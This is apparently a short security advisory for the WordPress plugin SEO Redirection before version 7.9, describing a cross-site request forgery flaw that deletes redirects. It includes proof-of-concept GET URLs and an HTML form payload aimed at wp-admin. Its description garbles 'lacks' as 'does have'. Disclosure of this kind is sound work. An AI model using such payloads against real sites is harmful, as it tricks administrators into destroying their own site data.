SEO Redirection < 7.9 – Arbitrary Redirect Deletion via CSRF

Description

The plugin does have CSRF in place, allowing attackers to make logged in admin delete arbitrary Custom and Post Redirects via a CSRF attack.

Proof of Concept

v < 7.8
https://example.com/wp-admin/options-general.php?page=seo-redirection.php&tab=cutom&del=1
https://example.com/wp-admin/options-general.php?page=seo-redirection.php&tab=posts&del=1

v < 7.9
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=seo-redirection.php" method="POST">
      <input type="hidden" name="check_all" value="on" />
      <input type="hidden" name="redirect_id[]" value="9" />
      <input type="hidden" name="redirect_id[]" value="10" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>